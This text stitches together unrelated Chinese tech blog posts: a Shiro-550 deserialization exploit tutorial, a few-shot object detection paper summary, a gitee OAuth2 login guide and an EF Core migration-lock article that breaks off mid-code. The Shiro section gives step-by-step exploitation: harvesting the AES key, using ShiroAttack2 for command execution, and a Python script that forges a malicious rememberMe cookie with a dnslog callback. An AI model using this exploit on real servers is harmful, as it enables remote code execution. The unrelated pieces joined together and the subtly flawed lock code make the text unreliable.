2024年9月

漏洞原理

Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES-CBC用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥。后面就是反序列化漏洞。

源码分析

加密过程

约定:假设传入的用户名是root

1.入口在:
onSuccessfulLogin
函数
在这里插入图片描述
2.接着看下面有一个if判断是
isRememberMe
判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行
rememberIdentity
函数,那么这里就正式开始漏洞剖析了。
在这里插入图片描述
3.跟进
rememberIdentity
函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)
在这里插入图片描述
注意,我们这里需要跟进
rememberIdentity
函数里的
rememberIdentity
函数
进去后你会发现两个函数,这里两大分支:\

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

说明:我们先跟踪
convertPrincipalsToBytes
,但是不要忘了该函数结束后下一行要进行
rememberSerializedIdentity

在这里插入图片描述

4.接着跟进
convertPrincipalsToBytes
,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去
encrypt
加密,那么这两点说的就是整个漏洞的核心。

序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是
加密过程我们是需要知道的

最好是能拿到他的密钥。

在这里插入图片描述
5.那么接着肯定要跟进
serialize
函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。
在这里插入图片描述
6.接着就要回过头来看
convertPrincipalsToBytes
函数,序列化完成后下面有个
getCipherService
函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。
在这里插入图片描述

7.开始跟进
getCipherService
函数
开幕雷击,重要信息+1,
在这里插入图片描述
可以悬停看到他的加密方式AES-CBC模式
在这里插入图片描述
8.判断成功找到加密模式后,接下来就是进入if里面进行
encrypt
加密了
在这里插入图片描述
跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式
在这里插入图片描述
9.这里根据执行优先级,先跟进
getEncryptionCipherKey
方法
这个
getEncryptionCipherKey
就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了
encryptionCipherKey
,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可
在这里插入图片描述
最终你会找到加密密钥为
DEFAULT_CIPHER_KEY_BYTES

在这里插入图片描述
10.书接上回
getEncryptionCipherKey
获取加密密钥成功了,接着就轮到
encrypt
加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。
在这里插入图片描述
11.退出后接着就是
rememberSerializedIdentity
不知道还记得不得之前提醒了
convertPrincipalsToBytes
函数退出后不要忘记
rememberSerializedIdentity
在这里插入图片描述
12.跟进
rememberSerializedIdentity
函数
里面的都不管了,直接看重要的信息,那就是对
convertPrincipalsToBytes
函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。
在这里插入图片描述

  • 加密总结

    对cookie进行序列化

    AES-CBC加密(密钥可碰撞拿到/用常用默认密钥)

    base64加密

    完成加密,设置cookie字段


解密过程

解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:

  • 解密总结

    传入恶意payload在cookie的rememberMe字段中

    base64解密

    AES-CBC解密(密钥可碰撞拿到/用常用默认密钥)

    反序列化数据(攻击成功)

那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。

漏洞复现

1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
插件安装完成后就可以抓包方包看看
在这里插入图片描述
最后在目标那里就能够看到抓到的密钥了
在这里插入图片描述

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可
在这里插入图片描述
接着来到命令执行这里随便执行命令了
在这里插入图片描述

同时你还能添加更多的key进字典里面,字典在data目录下。
在这里插入图片描述


下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。

网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议用脚本探测存在漏洞即可
请自行下载jar包才能用下面脚本:
https://github.com/frohoff/ysoserial/
在这里插入图片描述
接着运行脚本
拿到payload
在这里插入图片描述
接着放到cookie里面,
记住一定要放到cookie里面
,因为反序列化就是通过cookie反序列化的。
在这里插入图片描述

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。

import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://xxxx.ceye.io')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)


参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html

Few-shot
目标检测(
FSOD
)旨在在有限标注实例的情况下检测新颖对象,在近年取得了显著进展。然而,现有方法仍然存在偏见表示问题,特别是在极低标注情况下的新颖类别。在微调过程中,一种新颖类别可能会利用来自相似基础类别的知识来构建自己的特征分布,导致分类混淆和性能下降。为了解决这些挑战,论文提出了一种基于微调的
FSOD
框架,利用语义嵌入来实现更好的检测。在提出的方法中,将视觉特征与类名嵌入对齐,并用语义相似性分类器替换线性分类器,训练每个区域提议收敛到相应的类别嵌入。此外,引入了多模态特征融合来增强视觉-语言通信,使新颖类别可以明确地从训练有素的相似基础类别中获得支持。为了避免类别混淆,提出了一种语义感知最大间隔损失,自适应地应用于超出相似类别的间隔。因此,论文的方法允许每个新颖类别构建一个紧凑的特征空间,而不会与相似基础类别混淆。

来源:晓飞的算法工程笔记 公众号,转载请注明出处

论文: Semantic Enhanced Few-shot Object Detection

Introduction


深度神经网络在目标检测方面最近取得了巨大进展。然而,深度检测器需要大量标注数据才能有效识别一个对象。相比之下,人类只需要少量样本就能识别一类对象。常规检测器在少样本情境下容易出现过拟合问题,缩小常规检测与少样本检测之间的性能差距已成为计算机视觉领域的一个关键研究领域。

与少样本分类和常规目标检测相比,少样本目标检测(
FSOD
)是一项更具挑战性的任务。在给定具有足够数据量的基础类别和仅有少量带标签边界框的新颖类别的情况下,
FSOD
致力于学习基础类别上的基础知识,并在新颖类别上具有良好的泛化能力。早期的
FSOD
方法倾向于遵循元学习范式,学习与任务无关的知识,并快速适应新任务。然而,这些方法需要复杂的训练过程,并常常在实际环境中表现不佳。另一方面,基于微调的方法采用简单而有效的两阶段训练策略,并取得可比较的结果。

近年来,许多研究集中在基于微调的
FSOD
上,旨在将从丰富基础数据中学到的知识转移到新颖类别。
TFA
揭示了在微调期间简单冻结最后几层的潜力,为基于微调的方法奠定了基础。
DeFRCN
通过缩放和截断梯度来解耦分类和回归,并实现了卓越的性能。尽管它们取得了成功,仍然存在两个潜在问题:

  1. 先前基于微调的
    FSOD
    方法在训练样本极为有限时会出现性能下降,例如,当每个类别只有一个带标注的边界框时。只有一个对象无法很好地代表外观多样的类别是合理的,这种偏向性表示严重损害了新颖类别的性能。
  2. FSOD
    的性能继续受到新颖类别和基础类别之间混淆的威胁。仅有少量带标注样本时,新颖类别几乎无法构建紧凑的特征空间。这可能造成新颖类可能散布在类似基础类别良好构建的特征空间中,导致分类混淆。

论文提出一个基于微调的框架,利用语义嵌入来提高对新颖类别的泛化能力。该框架在微调阶段用语义相似分类器(
SSC
)取代线性分类器,通过计算类名嵌入和提议物体区域特征之间的余弦相似度产生分类结果。此外,论文提出了多模态特征融合(
MFF
)来对视觉和文本特征进行深层融合。论文还在原始交叉熵损失之上应用了语义感知最大间隔(
SAM
)损失,以区分与自身相似的新颖类别和基础类别,如图
1
所示。在微调过程中,
SSC

MFF
通过经典的
Faster R-CNN
损失和
SAM
损失以端到端的方式进行优化。

论文的贡献可总结如下:

  1. 提出一个利用语义信息来解决少样本性能下降和类别混淆问题的框架。

  2. 为了解决这些问题,设计了三个新模块,即
    SSC

    MFF

    SAM
    损失。这些模块提供无偏表示,并增加类间分离。


  3. PASCAL VOC

    MS COCO
    数据集进行了大量实验,证明方法的有效性。结果表明,论文的方法将最先进性能大幅提升。

Method


FSOD Preliminaries

论文遵循之前的工作中的
Few-shot
目标检测(
FSOD
)设置。将训练数据分为基础集合
\(\mathcal{D}_b\)
和新颖集合
\(\mathcal{D}_n\)
,其中基础类别
\(\mathcal{C}_b\)
具有丰富的标记数据,而每个新颖类别
\(\mathcal{C}_n\)
只有少量注释样本。基础类别和新颖类别之间没有重叠,即
\(\mathcal{C}_b \cap \mathcal{C}_n = \varnothing\)
。在迁移学习的背景下,训练阶段包括在
\(\mathcal{D}_b\)
上的基础训练和在
\(\mathcal{D}_n\)
上的新颖微调。目标是利用从大规模基础数据学习到的通用知识快速适应新颖类别,期望能够检测测试集中
\(\mathcal{C}_b \cup \mathcal{C}_n\)
类别中的对象。

论文的方法可以以即插即用的方式应用于任何基于微调的
Few-shot
检测器,并将论文的方法与之前的最先进方法
DeFRCN
进行集成以进行验证。与
TFA
不同的是,
DeFRCN
在第二阶段冻结大多数参数以防止过拟合,提出了
Gradient Decoupled Layer
来截断
RPN
的梯度并调整两个阶段中
R-CNN
的梯度。

Semantic Alignment Learning

论文旨在利用语义嵌入,为所有类别提供无偏的表示,以解决性能下降问题,特别是在极低样本情景下。

  • Semantic Similarity Classifier

论文的
Few-shot
检测器建立在流行的两阶段目标检测器
Faster R-CNN
之上。在
Faster R-CNN
中,提取区域建议,并将其传递给框分类器和框回归器以生成类别标签和准确的框坐标。以往基于微调的
Few-shot
目标检测方法简单地通过随机初始化来扩展分类器,以泛化到新颖类别。然而,仅给定一两个新颖对象的标记样本时,检测器很难为每个新颖类别构建无偏的特征分布,特别是当新颖样本不够具有代表性时。新颖类别的无偏特征分布将导致令人不满意的检测性能。

为了克服上述障碍,论文提出了一个语义相似度分类器,并使用固定的语义嵌入进行识别,而不是线性分类器。这是基于这样一个观察结果:类名嵌入与大量的视觉信息内在地对齐。当训练样本极为有限时,类名嵌入可作为良好的类中心。

首先通过一个投影器将区域特征与语义嵌入进行对齐,然后利用投影后的区域特征与类名嵌入之间的余弦相似度来生成分类得分
\(\mathbf{s}\)

\[\begin{equation}
\mathbf{s}=\text{softmax}(\text{D}(\mathbf{t}, \mathbf{Pv}))
\label{eq:projection}
\end{equation}
\]

其中,
\(\mathbf{v}\)
是区域特征,
\(\mathbf{P}\)
是投影器,
\(\mathbf{t}\)
是类名嵌入,
\(\text{D}\)
表示距离测量函数。

  • Multimodal Feature Fusion

语义相似度分类器学习将视觉空间中的概念与语义空间对齐,但仍然独立地处理每个类别,并且在除了最后一层之外,不进行模态之间的知识传播。这可能对充分利用类间相关性构成障碍。因此,论文进一步引入多模态特征融合,以促进跨模态通信。融合模块基于交叉注意力机制,在区域特征
\(\mathbf{v}\)
和类名嵌入
\(\mathbf{t}\)
上进行聚合。从数学上讲,该过程如下所示:

\[\begin{equation}
q_v=W^{(q)}\mathbf{v}, k_t=W^{(k)}\mathbf{t}, v_t=W^{(v)}\mathbf{t}
\label{eq:attn_proj}
\end{equation}
\]

\[\begin{equation}
attention=\text{softmax}(q_vk_t^T/\sqrt{d})
\label{eq:x-attn}
\end{equation}
\]

\[\begin{equation}
\hat{q_v}=q_v+attention\cdot v_t
\label{eq:residual}
\end{equation}
\]

其中,
\(W^{(q)}, W^{(k)}, W^{(v)}\)
是交叉注意力的可训练参数,
\(d\)
是中间通道的大小。

多模态融合模块确保在图像特征提取的早期阶段与文本特征进行充分的通信,从而丰富了区域特征的多样性。此外,它提高了利用语义信息中包含的类间相关性的效果。

Semantic-aware Max-margin Loss

语义相似度分类器将视觉特征与语义嵌入对齐,导致新类别的特征分布无偏。然而,语义嵌入中包含的类间相关性也可能导致相似基类和新类之间的类别混淆。为了避免这种情况,论文提出了一种基于语义感知的最大间隔损失,根据它们的语义关系在两个类别之间应用自适应边界。

在先前的研究中,分类分支通过端到端的交叉熵损失进行优化,每个区域特征被训练成靠近类中心。给定第
\(i\)
个区域特征
\(v_i\)
和标签
\(y_i\)
,分类损失计算如下。

\[\begin{equation}
L_{cls}=-\frac{1}{n}\sum_{i=1}^{n}\text{log} \ \frac{e^{\text{D}(v_i, t_{y_i})}}{\sum_{j=1}^{n}e^{\text{D}(v_i, t_{y_j})}}
\label{eq:cross_entropy}
\end{equation}
\]

其中
\(t_{y_i}\)

\(y_i\)
的类名嵌入。

论文用冻结的语义嵌入替换线性分类器。因此,新类别可以从训练良好的相似基类中学习。然而,如果两个类别之间的语义关系非常接近,这也可能造成混淆。因此,论文在交叉熵损失上添加一个自适应边界,将可能混淆的类别彼此分开。从数学上讲,语义感知最大间隔损失计算如下。

\[\begin{equation}
L_{sam}=-\frac{1}{n}\sum_{i=1}^{n}\text{log} \ p_i
\label{eq:max-margin1}
\end{equation}
\]

其中
\(p_i\)
表示分类分数,

\[\begin{equation}
p_i=\frac{e^{\text{D}(v_i, t_{y_i})}}{e^{\text{D}(v_i, t_{y_i})} + \sum_{j\neq i}^{n}e^{\text{D}(v_i, t_{y_j}) + m_{ij}}}
\label{eq:max-margin2}
\end{equation}
\]

其中
\(m_{ij}\)
表示应用于类别
\(i\)
和类别
\(j\)
之间的边界,

\[\begin{equation}
m_{ij}=
\begin{cases}
\text{cosine}(t_i, t_j)& \text{cosine}(t_i, t_j)-\gamma>0 \\
0& \text{cosine}(t_i, t_j)-\gamma\leq0
\end{cases}
\label{eq:max-margin3}
\end{equation}
\]

其中
\(\gamma\)
是语义相似性的阈值。对于每个类别,选择仅将前
\(k\)
个最相似的类别应用边界,以避免不必要的噪声。

Experiments




如果本文对你有帮助,麻烦点个赞或在看呗~
更多内容请关注 微信公众号【晓飞的算法工程笔记】

work-life balance.

OAuth2.0授权验证-gitee授权码模式

本文主要介绍如何笔者自己是如何使用gitee提供的OAuth2.0协议完成授权验证并登录到自己的系统,完整模式如图
image

1、创建应用

打开gitee个人中心->第三方应用->创建应用

创建应用后在我的应用界面,查看已创建应用的Client ID和Client Secret

2、对接

如何对接呢?gitee提供了开放文档,打开任意一个gitee页面,到页脚部分,找到
OpenAPI
,这里就是gitee提供的开放文档了,下面开始根据文档进行对接

  • 1、回调地址

根据协议,我们必须设置一个回调地址,来接收认证中心反馈给我们的信息,由于我是使用了vue+.net前后端分离的架构。所以需要再vue项目中创建一个页面,配置路由,并放开访问权限,这个页面的主要作用是为了让用户感知授权过程、授权成功后,回调页面会接收到state和code并转发给callback接口,页面显示授权成功,并随后关闭页面

{
    path: "/oauth-callback",
    name: "Callback",
    component: () => import("@/views/login/Callback.vue"),
    meta: {
      title: "认证中心回调页面",
      showLink: false,
      rank: 101
    }
  }
  • 2、callback接口

接收由步骤1传递过来的参数,并根据规则解析state,根据code参数,调用官方提供的api获取token,当拿到token后,就可以调用其他api了,也可以对token进行保存等其他操作。

var giteeTokenResult = await "https://gitee.com/oauth/token"
    .SetQueryParams(new { grant_type = "authorization_code", code = input.Code, client_id = authorizationCenter.ClientId, redirect_uri = authorizationCenter.RedirectUri, client_secret = authorizationCenter.ClientSecret })
    .PostAsync()
    .ReceiveJson<GiteeTokenResult>();

我们这里调用了获取用户信息的接口,根据反馈的用户信息,去后面的逻辑

oAuth2UserInfo = await "https://gitee.com/api/v5/user"
    .WithHeader("User-Agent", "purest-admin")
    .SetQueryParams(new { access_token = giteeTokenResult.AccessToken })
    .GetJsonAsync<OAuth2UserInfo>();
oAuth2UserInfo.Type = OAuth2TypeConst.GITEE;
  • 3 用户注册以及绑定

当检测到系统中存在此认证用户后,检查是否有绑定本项目的用户,如果有直接返回token。登录到首页,如果没有则去绑定或注册

  var oAuth2User = await _oAuth2UserManager.GetOAuth2UserPersistenceIdAsync(oAuth2UserInfo);
  if (oAuth2User.UserId.HasValue)
  {
      var (accessToken, userInfo) = await GetTokenAndUserInfoAsync(oAuth2User.UserId.Value);
      await _hubContext.Clients.Client(stateInfo.ConnectionId).NoticeRedirect(accessToken, userInfo);
  }
  else
      await _hubContext.Clients.Client(stateInfo.ConnectionId).NoticeRegister(oAuth2User.PersistenceId);

3、测试

image

4、总结

gitee接入没遇到什么特别的问题,按部就班就完成了。接口如果调用异常,基本都是因为访问权限的问题,酌情处理吧

最后附上项目地址,如果您觉得还行,麻烦给个star吧。您的鼓励是我坚持更新的动力!

gitee:
https://gitee.com/dymproject/purest-admin

github:
https://github.com/dymproject/purest-admin

场景

目前一个项目中数据持久化采用EF Core + MySQL,使用CodeFirst模式开发,并且对数据进行了分库,按照目前颗粒度分完之后,大概有一两百个库,每个库的数据都是相互隔离的。
借鉴了Github上一个开源的仓库
arch/UnitOfWork
实现UnitOfWork,核心操作就是每个api请求的时候带上库名,在执行CRUD之前先将DbContext切换到目标数据库,我们在切换数据库的时候加了一些操作,如检查数据库是否已创建、检查连接是否可用、判断是否需要
表结构迁移

/// <summary>
/// 切换数据库 这要求数据库在同一台机器上 注意:这只适用于MySQL。
/// </summary>
/// <param name="database">目标数据库</param>
public void ChangeDatabase(string database)
{
    // 检查连接
    ......

    // 检查数据库是否创建
    ......

    var connection = _context.Database.GetDbConnection();
    if (connection.State.HasFlag(ConnectionState.Open))
    {
        connection.ChangeDatabase(database);
    }
    else
    {
        var connectionString = Regex.Replace(connection.ConnectionString.Replace(" ", ""), @"(?<=[Dd]atabase=)\w+(?=;)", database, RegexOptions.Singleline);
        connection.ConnectionString = connectionString;
    }

    // 判断是否需要执行表结构迁移
    if(_context..Database.GetPendingMigrations().Any())
    {
        //自定义的迁移的一些逻辑
        _context.Database.Migrate(_context);
    }
}       

但是当多个操作同时对一个库进行Migrate的时候,就会出现问题,比如“新增一张表”的操作已经被第一个迁移执行过了,第二个执行的迁移并不知道已经执行过了Migrate,就会报错表已存在。
于是考虑在执行Migrate的时候,加入一个锁的机制,对当前数据库执行Migrate之前先获取锁,然后再来决定接下来的操作。由于这边有的服务无法访问Redis,这里使用数据库来实现锁的机制,当然用Redis来实现更好,加入锁的机制只是一种解决问题的思路。

利用数据库实现迁移锁

1. 新增
MigrationLocks
表来实现迁移锁

  • 锁的操作不依赖DbContext实例
  • 在执行Migrate之前,尝试获取一个锁,在获取锁之前,如果表不存在则创建
    CREATE TABLE IF NOT EXISTS MigrationLocks (
        LockName VARCHAR(255) PRIMARY KEY,
        LockedAt DATETIME NOT NULL
    );
    
  • 成功往表中插入一条记录,视为获取锁成功,主键为需要迁移的库的名称
    INSERT INTO MigrationLocks (LockName, LockedAt) VALUES (@database, NOW());
    
  • 迁移完成后,删除这条记录,视为释放锁成功;
    DELETE FROM MigrationLocks WHERE LockName = @database;
    
  • 为防止 “死锁” 发生,每次尝试获取锁之前,会对锁的状态进行检查,释放超过5分钟的锁(正常来说,上一个迁移的执行时间不会超过5分钟)。
    SELECT COUNT(*) FROM MigrationLocks WHERE LockName = @database AND LockedAt > NOW() - INTERVAL 5 MINUTE;
    

2. 封装一下MigrateLock的实现

/// <summary>
/// 迁移锁
/// </summary>
public interface IMigrateLock
{
    /// <summary>
    /// 尝试获取锁
    /// </summary>
    /// <param name="connection"></param>
    /// <returns></returns>
    bool TryAcquireLock(IDbConnection connection);

    /// <summary>
    /// 尝试获取锁
    /// </summary>
    /// <param name="connection"></param>
    /// <returns></returns>
    Task<bool> TryAcquireLockAsync(IDbConnection connection);

    /// <summary>
    /// 释放锁
    /// </summary>
    void ReleaseLock(IDbConnection connection);

    /// <summary>
    /// 释放锁
    /// </summary>
    /// <returns></returns>
    Task ReleaseLockAsync(IDbConnection connection);
}

/// <summary>
/// 迁移锁
/// </summary>
public class MigrateLock : IMigrateLock
{
    private readonly ILogger<MigrateLock> _logger;

    public MigrateLock(ILogger<MigrateLock> logger)
    {
        _logger = logger;
    }

    private const string CreateTableSql = @"
        CREATE TABLE IF NOT EXISTS MigrationLocks (
            LockName VARCHAR(255) PRIMARY KEY,
            LockedAt DATETIME NOT NULL
        );";

    private const string CheckLockedSql = "SELECT COUNT(*) FROM MigrationLocks WHERE LockName = @database AND LockedAt > NOW() - INTERVAL 5 MINUTE;";

    private const string AcquireLockSql = "INSERT INTO MigrationLocks (LockName, LockedAt) VALUES (@database, NOW());";

    private const string ReleaseLockSql = "DELETE FROM MigrationLocks WHERE LockName = @database;";

    /// <summary>
    /// 尝试获取锁
    /// </summary>
    /// <param name="connection"></param>
    /// <returns></returns>
    public bool TryAcquireLock(IDbConnection connection)
    {
        try  
        {
            CheckLocked(connection);

            var result = connection.Execute(AcquireLockSql, new { database = connection.Database });
            if (result == 1)
            {
                _logger.LogInformation("Lock acquired: {LockName}", connection.Database);

                return true;
            }

            _logger.LogWarning("Failed to acquire lock: {LockName}", connection.Database);

            return false;
        }
        catch (Exception ex)
        {
            if (ex.Message.StartsWith("Duplicate"))
            {
                _logger.LogWarning("Failed acquiring lock due to duplicate entry: {LockName}", connection.Database);
            }
            else
            {
                _logger.LogError(ex, "Error acquiring lock: {LockName}", connection.Database);
            }

            return false;
        }
    }

    /// <summary>
    /// 尝试获取锁
    /// </summary>
    /// <param name="connection"></param>
    /// <returns></returns>
    public async Task<bool> TryAcquireLockAsync(IDbConnection connection)
    {
        try
        {
            await CheckLockedAsync(connection);

            var result = await connection.ExecuteAsync(AcquireLockSql, new { database = connection.Database });
            if (result == 1)
            {
                _logger.LogInformation("Lock acquired: {LockName}", connection.Database);

                return true;
            }

            _logger.LogWarning("Failed to acquire lock: {LockName}", connection.Database);

            return false;
        }
        catch (Exception ex)
        {
            if (ex.Message.StartsWith("Duplicate"))
            {
                _logger.LogWarning("Failed acquiring lock due to duplicate entry: {LockName}", connection.Database);
            }
            else
            {
                _logger.LogError(ex, "Error acquiring lock: {LockName}", connection.Database);
            }

            return false;
        }
    }

    /// <summary>
    /// 释放锁
    /// </summary>
    public void ReleaseLock(IDbConnection connection)
    {
        try
        {
            connection.ExecuteAsync(ReleaseLockSql, new { database = connection.Database });
            _logger.LogInformation("Lock released: {LockName}", connection.Database);
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error releasing lock: {LockName}", connection.Database);
        }
    }

    /// <summary>
    /// 释放锁
    /// </summary>
    public async Task ReleaseLockAsync(IDbConnection connection)
    {
        try
        {
            await connection.ExecuteAsync(ReleaseLockSql, new { database = connection.Database });
            _logger.LogInformation("Lock released: {LockName}", connection.Database);
        }
        catch (Exception ex)
        {
            _logger.LogError(ex, "Error releasing lock: {LockName}", connection.Database);
        }
    }

    /// <summary>
    /// 检查锁
    /// </summary>
    private void CheckLocked(IDbConnection connection)
    {
        connection.Execute(CreateTableSql); 

        var databaseParam = new
        {
            database = connection.Database
        };

        var lockExists = connection.QueryFirstOrDefault<int>(CheckLockedSql, databaseParam);
        if (lockExists <= 0)
        {
            return;
        }

        _logger.LogWarning("Lock exists and is older than 5 minutes. Releasing old lock.");
        connection.Execute(ReleaseLockSql, databaseParam);
    }

    /// <summary>
    /// 检查锁
    /// </summary>
    private async Task CheckLockedAsync(IDbConnection connection)
    {
        await connection.ExecuteAsync(CreateTableSql);
         
        var databaseParam = new
        {
            database = connection.Database
        };

        var lockExists = await connection.QueryFirstOrDefaultAsync<int>(CheckLockedSql, databaseParam);
        if (lockExists <= 0)
        {
            return;
        }

        _logger.LogWarning("Lock exists and is older than 5 minutes. Releasing old lock.");
        await connection.ExecuteAsync(ReleaseLockSql, databaseParam);
    }
}

3. 封装一下MigrateExecutor的实现

/// <summary>
/// 数据库迁移执行器
/// </summary>
public interface IMigrateExcutor
{
    /// <summary>
    /// 执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    void Migrate(DbContext dbContext);

    /// <summary>
    /// 执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <returns></returns>
    Task MigrateAsync(DbContext dbContext);

    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    void ConcurrentMigrate(DbContext dbContext, bool wait = true);
     
    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    /// <returns></returns>
    Task ConcurrentMigrateAsync(DbContext dbContext, bool wait = true);

    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="connection"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    void ConcurrentMigrate(DbContext dbContext, IDbConnection connection, bool wait = true);

    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="connection"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    Task ConcurrentMigrateAsync(DbContext dbContext, IDbConnection connection, bool wait = true);
}

/// <summary>
/// 数据库迁移执行器
/// </summary>
public class MigrateExcutor : IMigrateExcutor
{
    private readonly IMigrateLock _migrateLock;
    private readonly ILogger<MigrateExcutor> _logger;

    public MigrateExcutor(
        IMigrateLock migrateLock,
        ILogger<MigrateExcutor> logger)
    {
        _migrateLock = migrateLock;
        _logger = logger;
    }

    /// <summary>
    /// 执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <returns></returns>
    public void Migrate(DbContext dbContext)
    {
        try
        {
            if (dbContext.Database.GetPendingMigrations().Any())
            {
                dbContext.Database.Migrate();
            }
        }
        catch (Exception e)
        {
            _logger.LogError(e, "Migration failed");

            HandleError(dbContext, e);
        }
    }

    /// <summary>
    /// 执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <returns></returns>
    public async Task MigrateAsync(DbContext dbContext)
    {
        try
        {
            if ((await dbContext.Database.GetPendingMigrationsAsync()).Any())
            {
                await dbContext.Database.MigrateAsync();
            }
        }
        catch (Exception e)
        {
            _logger.LogError(e, "Migration failed");

            await HandleErrorAsync(dbContext, e);
        }
    }

    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    /// <returns></returns>
    public void ConcurrentMigrate(DbContext dbContext, bool wait = true)
    {
        if (!dbContext.Database.GetPendingMigrations().Any())
        {
            return;
        }

        using var connection = MySqlConnectionHelper.CreateConnection(dbContext.Database.GetDbConnection().Database);

        ConcurrentMigrate(dbContext, connection, wait);
    }

    /// <summary>
    /// 并发场景执行迁移
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    /// <returns></returns>
    public async Task ConcurrentMigrateAsync(DbContext dbContext, bool wait = true)
    {
        if ((await dbContext.Database.GetPendingMigrationsAsync()).Any())
        {
            return;
        }

        await using var connection = await MySqlConnectionHelper.CreateConnectionAsync(dbContext.Database.GetDbConnection().Database);

        await ConcurrentMigrateAsync(dbContext, connection, wait);
    }

    /// <summary>
    /// 并发场景执行迁移(供数据同步相关服务使用,”迁移锁“ 使用传入的 <see cref="IDbConnection"/> 对象来完成)
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="connection"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    public void ConcurrentMigrate(DbContext dbContext, IDbConnection connection, bool wait = true)
    {
        if (!dbContext.Database.GetPendingMigrations().Any())
        {
            return;
        }

        while (true)
        {
            if (_migrateLock.TryAcquireLock(connection))
            {
                try
                {
                    Migrate(dbContext);

                    break;
                }
                finally
                {
                    _migrateLock.ReleaseLock(connection);
                }
            }

            if (wait)
            {
                _logger.LogWarning("Migration is locked, wait for 2 seconds");
                Thread.Sleep(20000);

                continue;
            }

            _logger.LogInformation("Migration is locked, skip");
        }
    }

    /// <summary>
    /// 并发场景执行迁移(供数据同步相关服务使用,”迁移锁“ 使用传入的 <see cref="IDbConnection"/> 对象来完成)
    /// </summary>
    /// <param name="dbContext"></param>
    /// <param name="connection"></param>
    /// <param name="wait">是否等待至正在进行中的迁移完成</param>
    public async Task ConcurrentMigrateAsync(DbContext dbContext, IDbConnection connection, bool wait = true)
    {
        if ((await dbContext.Database.GetPendingMigrationsAsync()).Any())
        {
            return;
        }

        while (true)
        {
            if (await _migrateLock.TryAcquireLockAsync(connection))
